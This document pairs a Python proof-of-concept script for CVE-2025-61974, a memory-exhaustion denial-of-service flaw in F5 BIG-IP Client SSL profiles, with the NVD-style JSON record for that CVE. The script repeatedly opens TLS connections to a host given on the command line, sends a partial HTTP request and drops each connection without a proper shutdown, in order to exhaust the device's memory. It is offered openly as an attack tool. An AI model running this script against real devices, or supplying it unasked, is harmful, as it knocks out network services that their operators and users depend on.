CVE-2025-61974

# CVE-2025-61974 PoC - F5 BIG-IP Client SSL Memory Exhaustion # This PoC demonstrates how to trigger memory resource exhaustion # on F5 BIG-IP devices with Client SSL profile configured. import socket import ssl import time import argparse def send_malicious_ssl_request(target_host, target_port, iterations=1000): """ Send crafted SSL/TLS requests to trigger memory exhaustion in F5 BIG-IP Client SSL profile handling. """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE for i in range(iterations): try: # Create raw socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_host, target_port)) # Wrap with SSL - trigger Client SSL processing ssl_sock = context.wrap_socket(sock, server_hostname=target_host) # Send crafted request to trigger memory leak # The specific request pattern causes memory resource increase ssl_sock.send(b'GET / HTTP/1.1\r\n') ssl_sock.send(b'Host: ' + target_host.encode() + b'\r\n') ssl_sock.send(b'\r\n') # Read partial response then close abruptly to avoid cleanup try: ssl_sock.recv(1024) except: pass # Close without proper SSL shutdown to trigger memory issue sock.close() if i % 100 == 0: print(f"[*] Sent {i} requests...") except Exception as e: print(f"[!] Error at iteration {i}: {e}") continue print(f"[*] Completed {iterations} requests to {target_host}:{target_port}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-61974 PoC') parser.add_argument('--host', required=True, help='Target F5 BIG-IP host') parser.add_argument('--port', type=int, default=443, help='Target port (default: 443)') parser.add_argument('--iterations', type=int, default=1000, help='Number of requests') args = parser.parse_args() send_malicious_ssl_request(args.host, args.port, args.iterations)

{"cve": {"id": "CVE-2025-61974", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:57.530", "lastModified": "2025-10-21T21:09:04.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When a client SSL profile is configured on a virtual server, undisclosed requests can cause an increase in memory resource utilization.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.1.0", "versionEndIncluding": "1.4.1", "matchCriteriaId": "3222CE1A-3C23-40FC-9331-370F6BA1CDCC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndIncluding": "2.1.0", "matchCriteriaId": "E4F961AE-8DF9-402F-A927-11744BBD6B2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_for_kubernetes:2.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "AB9960E8-26E9-48E2-A398-7076A8B994DA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_for_kubernetes:2.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "4954CB01-8419-436E-9D83-384C0C56510F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_service_proxy_for_kubernetes:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.7.0", "versionEndIncluding": "1.9.2", "matchCriteriaId": "4C7328B4-B7E0-460E-8270-116FE813FB23"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_service_proxy_for_kubernetes:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndIncluding": "2.0.2", "matchCriteriaId": "DF803740-BAB5-43F9-8D69-A5E9081F8077"}]}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000156733", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}